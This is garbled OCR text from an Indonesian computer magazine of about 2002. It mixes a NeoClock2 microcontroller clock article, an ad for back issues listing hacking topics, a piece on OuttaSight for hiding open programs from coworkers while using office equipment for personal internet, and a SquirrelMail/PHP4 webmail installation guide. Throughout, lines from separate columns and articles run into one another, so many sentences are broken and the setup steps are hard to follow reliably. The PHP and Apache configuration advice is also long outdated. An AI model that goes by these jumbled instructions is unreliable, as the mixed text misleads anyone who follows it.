Uniknya akses Mode ini cukup dilakukan dengan 1 tombol NeoClock2.asm mempunyai lebih banyak sub routine.
(SW1). Dengan menganalisa posisi jumper J3, bisa Semuanya diatur dari MainLoop. Penjelasan singkatnya
ditentukan Mode mana yang ingin diakses. (untuk Overview) demikian:
Sewaktu jam baru dihidupkan, kita perlu men-setting Jam 1. Init: Berbeda sedikit, tetapi tidak kelihatan efeknya.
(di NeoClock1 ini tidak bisa dilakukan), untuk itu kita perlu 2. MainLoop: Manager semua subroutine. Memudahkan
2 tombol, yaitu Mode (SW1) dan Change (SW2-increment perawatan.
value). Agar SW2 bisa berfungsi, Jumper J3 perlu dipindah 3. Input: Khusus menangani hasil penekanan SW2.
dari pin 2-3 ke pin 1-2. 4. Mode Manager, menangani mode berdasarkan SW1
Penekanan tombol Mode (SW1) akan mengubah mode dibantu oleh status SW2.
menjadi Mode1 (INC Jam). Agar User (anda) yakin apa efek 5. Second: Aktif setiap detik menangani hal yang berhu-
kalau SW2 ditekan, angka Jam dibuat berkedip. Inilah yang bungan dengan detik.
namanya Friendly USER interface. Sepele tapi memudah- 6. Evaluate: Mencocokkan Jam yang berjalan dengan
kan USER dan perlu ditambahkan karena tidak bisa didapat kedua Timer.
secara otomatis dengan bahasa assembly. Selanjutnya pada 7. DispPrep: Mempersiapkan data ke Display Buffer
mode1 angka menit yang berkedip. Mode2 akan berdasarkan Mode.
menampilkan huruf t1 yang artinya timer1 dan huruf of 8. Display: Aktif setiap loop dengan menampilkan hanya 1
(OFF) yang berkedip atau huruf on (ON) yang berkedip. digit tiap loop agar efisiensi tampilan maksimum.
Tetap SW2 menjadi pengubah nilainya. Mengkonversi angka menjadi segment untuk
Mode4 dan Mode5 tempat menyetel Jam dan Menit Timer 1. membentuk angka dan huruf sederhana.
Tapi Mode4 dan Mode5 akan dilompati apabila USER tidak 9. Output: Mengaktifkan dan mematikan Relay dan
mengaktifkan Timer menjadi t1 on. Untuk apa menyetel Buzzer.
Jam dan menit timer yang tidak aktif. Hal yang sama 10. Timer OverFlow: Membangkitkan detik, delay 2 detik
berlaku pada Timer2. untuk RUNdisplayMode. Baca input SW2.
11. IRQ: Menangkap tekanan tombol pada SW1
Setelah semua disetel sesuai keinginan kita, non aktifkan 12. Vector Table: Tabel tujuan loncatnya Program Counter
SW2 (pindah J3 ke posisi Pin 2-3) dan manfaatkan I/O itu CPU.
sebagai output untuk menggerakkan relay.
Input menggunakan Jump Table agar efisien dan cepat.
Pada saat ini, Tombol SW1 akan mengakses RUNdisplayMode. Dibagi berdasarkan Mode. Ini sangat memudahkan debug.
Penekanan pertama menampilkan Menit-Detik. Selanjut- Misalnya ada bug saat increment JAM timer 1, maka cukup
nya Jam-Menit setting Timer 1 atau tulisan t1 of apabila mencarinya di salah satu tujuan jump table bersangkutan.
timer1 off. Timer 2 juga demikian. Penekanan selanjutnya
akan mengembalikan ke Jam-Menit yang merupakan Hal yang sama diterapkan di subroutine Display
default-nya display. Preparation.
Mungkin timbul pertanyaan: bagaimana kalau SW1 ditekan Display Subroutine juga menggunakan tabel untuk kendali
cuma sampai Menit-Detik lalu ditinggal? Sudah disiapkan on-off digit dan konversi angka menjadi data segment
delay selama 2 detik dihitung dari tiap penekanan tombol untuk 7 segmen bahkan juga untuk pembentukan huruf
(tekanan terakhir yang dipakai) yang apabila habis waktu- sederhana seperti t, o, f, n dan blank total yang dibutuhkan
nya (time out) akan mengembalikan ke tampilan default. untuk membuat efek kedip.
Satu User interface lagi yang perlu dijelaskan karena mung- Untuk kali ini pun sangat dianjurkan untuk mengetik
kin tidak akan ditemukan tanpa sengaja adalah: Pada perte- sendiri file Neoclock2.asm untuk melatih ketelitian dan agar
ngahan mode utama (bukan sub mode). Misal mode6 lalu menghasilkan bug yang random. Untuk belajar debugging
user memutuskan untuk kembali ke mode0. User cukup kita butuh BUG. Kesalahan ketik akan menghasilkan BUG.
memindahkan jumper ke pin 2-3, lalu menekan SW1 sekali. Dari sana lihat efeknya atau gejalanya. Coba cari sendiri
dulu berdasarkan kelompok subroutinenya. Inilah proses
Sebagai PR, pembaca bisa menambah feature yang kurang pelatihan insting debugging. Mini-EVM yang saya buat
dari jam digital ini yaitu tidak ada indikasi jam aktif atau untuk debugging atau bahkan alat lain yang lebih hebat dan
macet. Walaupun sebenarnya kalau Hang, tampilan akan mahal tetap membutuhkan insting pemakainya untuk
berubah menjadi 1 digit saja karena 7 segmen dinyalakan debug.
dengan cara scanning.
Apabila masih juga tidak ketemu BUG nya, tanyakan via
Sebagai indikasi jam bekerja normal bisa dilakukan dengan milis yang saya sediakan untuk itu. Daftarlah dengan
mengubah-ubah intensitas 7 segmen. Menarik, sejauh tidak mailto: hc05_08jkt-subscribe@yahoogroups.com.
dikira kesalahan desain hardware yang punya problem di
bagian power supply-nya.
Ketinggalan Membaca NeoTek? Edisi lama: harga khusus & bebas ongkos kirim
Baru tahu ada majalah NeoTek? II/1 Oktober 2001 II/7 April 2002
Hacking dengan Back Orifice Mengintip Password dengan Dsniff
Penawaran khusus edisi lama NeoTek II/2 November 2001 II/8 Mei 2002
Rp15.000,-/eks (dengan CD) Dasar-dasar Remote Hacking Superscan: Scanning Tool setara Nmap
Rp8000,-/eks (tanpa CD) II/3 Desember 2001 II/9 Juni 2002
Rp10.000,-/eks (CD saja) Footprinting: Intelijen Awal Skrip mIRC & EggDrop
II/4 Januari 2002 II/10 Juli 2002
Hubungi: Elvy Risma Nainggolan Software Cracking Legion: Jalan-jalan ke Komputer Orang
(redaksi@neotek.co.id) II/5 Februari 2002 II/11 Agustus 2002
Telp. 021-5481457 Meng-hack NT Server Hacking & PC Securit; Virus & Trojan
II/6 Maret 2002 II/12 September 2002
Ada apa saja di edisi lama NeoTek? SoftICE: Serial Fishing Password Cracking: Seni & Tekniknya
UAT SAYA, YANG DOYAN MEMANFAATKAN kesempat- banget bukan? Tapi untunglah tidak berapa lama kemu-
B an dalam kesempitan, maksud saya memanfaat-
kan fasilitas kantor (PC dan telepon) untuk meng-
dian saya menemukan sebuah program yang mampu
menonolong saya dari kesulitan tersebut, yaitu OuttaSight,
akses Internet, jengkel banget rasanya bila ada orang lain yang di buat oleh Chris Rosa (crosa@lhs.com). Dengan
ikut mengamati semua program aplikasi yang sedang no- program itulah, akhirnya saya bisa mengakses Internet
ngol di layar monitor komputer saya. Rasa itu, maksud tanpa harus merasa khawatir atau curiga ada orang lain
saya rasa jengkel itu, akan bertambah lagi bila kebetulan ikut “nimbrung” mengamati semua yang sedang saya
program yang saya jalankan adalah mIRC dan Internet kerjakan di komputer. Dan seandainya ada orang lain
Explorer. Karena bagi saya, kedua program tersebut amat yang secara sengaja maupun tidak sengaja ingin melihat
bersifat pribadi. Saya paling sangat tidak suka bila saat program-program aplikasi yang saya jalankan, maka saya
saya chatting dan menulis email, ada orang lain yang cukup mengklik tombol hidden di OuttaSight agar tidak
duduk di sebelah dan melihat semua yang saya ketik. terlihat oleh mereka. Dengan begitu mereka tidak akan
Saya pikir sah-sah saja bila saya merasa sebel dan jengkel, “nongkrong” di dekat saya.
karena seperti yang sudah saya katakan, mereka telah Bila anda tertarik dengan program tersebut, NeoTek telah
menganggu privasi saya! Namun, untuk menyuruh me- menyiapkannya dalam CD yang disertakan pada majalah
reka pergi, atau melarang mereka agar tidak mengamati ini. Atau anda juga bisa mengambilnya sendiri dari alamat
apa yang sedang/akan saya ketik, tentu saja bukan hal situs pembuatnya, di http://rosa.simplenet.com/oos.
yang gampang, mengingat fasilitas yang saya gunakan
adalah milik kantor (milik bersama). Ditambah lagi saya Menginstal Outtasight
telah menggunakan telepon untuk sesuatu yang sama Untuk menginstal OuttaSight, caranya gampang. Jalan-
sekali tidak ada hubungannya dengan pekerjaan kantor. kan file SETUP.EXE, kemudian klik tombol Next seba-
Akhirnya, daripada saya “makan hati” karena terus nyak 2X. Sesaat kemudian anda akan ditanya, ke dalam
“dikerubuti” mereka, maka saya minimize-kan saja ke folder mana program akan diinstal, default-nya adalah di
dua buah aplikasi tersebut, lalu pura-pura menjalankan C:\Program Files\Oos. Jika anda tidak ingin mengubah
Microsoft Word dan Excel, dengan harapan mereka cepat direktori default tersebut, klik tombol Next sebanyak 2X
merasa bosan dan segera pergi ke ruangannya masing- untuk segera memulai proses instalasi, lalu tunggu bebe-
masing. Tapi apa yang terjadi? Bukannya pergi, mereka rapa saat sampai proses instalasi selesai.
malah semakin merapatkan kursinya masing-masing ke
dekat kursi saya. Dan sialnya lagi, mimik muka mereka Menjalankan Outtasight
sepertinya menyiratkan rasa penasaran (menunggu) Sama seperti menginstalnya, OuttaSight juga sangat
kapan saatnya saya mengklik (me-restore) ke dua buah mudah dioperasikan. Untuk menjalankannya, klik tombol
ikon aplikasi tersebut (Internet Explorer dan mIRC).
Setelah beberapa kali mengalami hal seperti itu, akhirnya
saya sadar, bahwa selama ikon Dial-Up yang ada di pojok
kiri sebelah bawah layar monitor masih kelihatan berke-
dip-kedip, menandakan adanya aktifitas ke Internet, maka
tidak akan ada gunanya saya me-minimize-kan semua
jendela program. Buktinya, setelah saya memutuskan
koneksi telepon ke ISP, barulah setelah itu mereka mau
beranjak dari tempat duduknya masing-masing dan me-
ninggalkan saya sendirian. Namun, meskipun cara itu
bisa dikatakan “manjur,” ternyata banyak juga kelemah-
annya, karena saya harus melakukan dial-up ulang ke ISP
untuk menghubungkan program mIRC dan Internet
Explorer yang sempat terputus tadi ke servernya masing-
masing. Bayangkan, jika saja dalam setiap 1-2 jam saya
harus melakukan proses itu berulang-ulang, berapa lama
waktu yang sudah saya buang dengan percuma? Belum
lagi ditambah dengan koneksi modem telepon yang gagal
terhubung ke modem ISP. Alhasil, karena tangan sudah
“pegal,” maka email pun tidak jadi terkirim, nyebelin • Tahap awal instalasi dan proses instalasi.
Agar orang lain tidak mudah memunculkan (unhide) kem- • Fungsi lain yang juga dapat disembunyikan.
bali program-program aplikasi yang telah anda sembunyi-
kan tadi, sebaiknya anda mengunci program OuttaSight. Untuk mempermudah akses ke dalam program OuttaSight,
Namun sebelum itu anda harus membuat terlebih dahulu termasuk akses ke masing-masing fungsi yang terdapat di
kata sandinya dengan mengklik icon “Lock OuttaSight.” dalamnya, ada baiknya anda membuat tombol pintas (hot
keys). Dengan begitu, maka anda tidak harus selalu meng-
andalkan mouse. OuttaSight mengizinkan kita untuk
bebas memilih perintah hot key yang gampang diingat.
• Membuat kata sandi pada Outtasight. • Daftar program aplikasi yang telah disembunyikan.
QUIRRELMAIL ADALAH SALAH SATU PAKET webmail • Kemudian edit file php.ini dan perhatikan baris
S standar yang ditulis dalam bahasa pemrograman
PHP4. Pemrograman PHP-nya sudah mendukung
session.use_cookies, berikan nilai 1 pada directive
tersebut. Pastikan juga untuk mengubah
protokol POP, IMAP, dan SMTP, dan seluruh halamannya session.save_path ke direktori lain yang dapat dibaca dan
di-render ke dalam HTML (tanpa JavaScript) untuk me- ditulisi oleh webserver. session.save_path ini merupakan
maksimalkan penampilan saat di-browse. Instalasi dan lokasi di mana sesi-sesi data PHP dapat ditulisi.
konfigurasinya pun tidak terlalu sulit. Perhatian: Bila seorang user yang dapat mengakses
Di dalam paket SquirrelMail akan anda dapati seluruh tulis ke PHP skrip di sistem anda dan tahu di mana
fungsi email, termasuk dukungan MIME, address book, diletakkan session data PHP, ia akan dapat mengambil
dan manipulasi folder atau directory, dan sebagainya. listing session data tersebut dan dapat disalahgunakan
Asyiknya lagi, versi terbaru SquirrelMail menyertakan dengan memberikan isi skrip tersebut kepada orang
bahasa Indonesia dalam modul-modul skripnya. lain. Karena itu, perlu disetting permission dan lokasi di
mana php.ini anda letakkan sebelumnya.
Mengaktifkan Modul PHP4 pada Webserver • Selanjutnya, setting pula file-file .php jika perlu untuk
Jika sebelumnya webserver anda tidak mendukung aplikasi menyesuaikan dengan PHP4 dengan membuat sebuah
PHP, sebaiknya dikonfigurasi ulang dengan menyertakan file .htaccess pada direktori SquirrelMail anda.
modul-modul PHP, sebab SquirrelMail mendukung PHP Tambahkan baris-baris berikut:
dalam penulisan skripnya. Dalam artikel ini penulis meng- AddType application/php4script .php
instal PHP versi 4.2.1 dengan webserver Apache 1.3.2. Action application/php4script /cgi-bin/php
Untuk menginstal paket PHP dari binary rpm pada CD- Atau dapat pula Anda tambahkan pada file konfigurasi
ROM instalasi Linux anda, ikuti langkah-langkah berikut: Apache. Selain itu, beberapa aplikasi pendukung mail
• Jika belum login sebagai root, loginlah sebagai root dan seperti sendmail, fetchmail, imap, ipop, dan lainnya
cek apakah paket rpm sudah terinstalasi atau belum. perlu ditambahkan jika sebelumnya tidak ada.
[root@server RPMS]$ rpm -q php Mengenai cara membuat mail server di Linux sudah
pernah dibahas di majalah NeoTek edisi Maret 2002.
Jika tidak terdapat pesan apa-apa berarti anda dapat
menginstalasi paket tersebut. Namun bila ditemukan Download dan Instalasi SquirrelMail
instalasi sebelumnya, hapuslah dengan perintah: SquirrelMail dapat di-download dari www.squirrelmail.org.
[root@server RPMS]$ rpm -e php Dalam contoh artikel ini saya menggunakan SquirrelMail
• Lalu instal ulang paket tersebut dengan mengetikkan: versi 1.2.7 (squirrelmail-1.2.7.tar.gz). Kemudian simpan
di direktori /usr/local/src. Ekstrak file tersebut kemudian
[root@server RPMS]$ rpm -ivh php-4.1.2-2.i586.rpm pindahkan direktorinya ke direktori di mana file-file
atau anda dapat mendowload source tar.gz dari situs .html anda diletakkan, biasanya pada direktori
www.php.net/version4. Simpan hasil download di /var/www/html/ atau /home/namauser/
direktori /usr/local/src. Untar dengan perintah:
• tar zxvf squirrelmail-1.2.7.tar.gz
[root@server src]$ tar zxvf php-4.2.1.tgz • mv squirrelmail-1.2.7 /var/www/html/webmail
[root@server src]$ cd php-4.2.1/
• cd /var/www/html/webmail
Agar PHP dapat bekerja bersama SquirrelMail, • ./configure
tambahkan perintah berikut: Dalam contoh di atas, saya ubah nama direktori squirrel-
[root@server src]$ ./configure --enable-track-vars\--enable- mail-1.2.7 menjadi direktori webmail, hanya untuk
force-cgi-redirect --with-gettext
memudahkan pengetikannya saja.
Jika anda sebelumnya pernah menginstal aplikasi data- Berbeda dengan konfigurasi aplikasi lain, SquirrelMail
base, misalnya MySQL, Anda perlu menambahkan opsi lebih interaktif, sehingga dapat dikonfigurasi berdasarkan
--with-mysql pada saat melakukan ./configure untuk
keinginan. SquirrelMail menggunakan dua direktori untuk
berhubungan dengan database MySQL. menyimpan file user konfigurasinya dan disertakan. Di-
[root@server src]$ make rektori data untuk menyimpan user prefencences, seperti
Secara default, PHP akan melihat konfigurasinya pada tanda tangan, nama, dan theme email dan direktori config
file php.ini, biasanya ada di direktori /etc/php.ini atau untuk mengkonfigurasikan server seperti smtp, pop,
/usr/local/lib/php.ini. Namun, untuk alasan keamanan imap, nama server, interface webmail, dan sebagainya.
sebaiknya pindahkan lokasi file tersebut ke direktori lain.
KONFIGURASI UTAMA
3 Bagian ini adalah bagian terpen-
ting dari konfigurasi SquirrelMail,
karena menyangkut bisa tidak- WEBMAIL LOGIN ACCOUNT MENGAMBIL EMAIL
nya aplikasi tersebut dijalankan.
Pada bagian Domain, isikan
5 Untuk memastikan tidak ada
kesalahan dalam konfigurasi
8 Untuk mencek sampai tidaknya
email yang dikirim tadi, coba
nama domain Anda, misalnya sebelumnya, lakukan log in login sebagai user yang dikirimi
server.neotek.org, begitu juga sebagai salah satu user yang email, bila ternyata email tadi
terdaftar pada file /etc/passwd, telah sampai akan terlihat pada
pada bagian IMAP Server dan INBOX-nya. Begitu pula dengan
SMTP Server, isikan sesuai bila terdapat beberapa
kesalahan lihat apa email yang dikirimkan melalui
dengan nama SMTP server, kesalahannya dan perbaiki. Internet. Tanyakan ke temanbila
misalnya smtp.neotek.org. anda mengirimi teman.
Iklan VisionNet
17,6 x 12 cm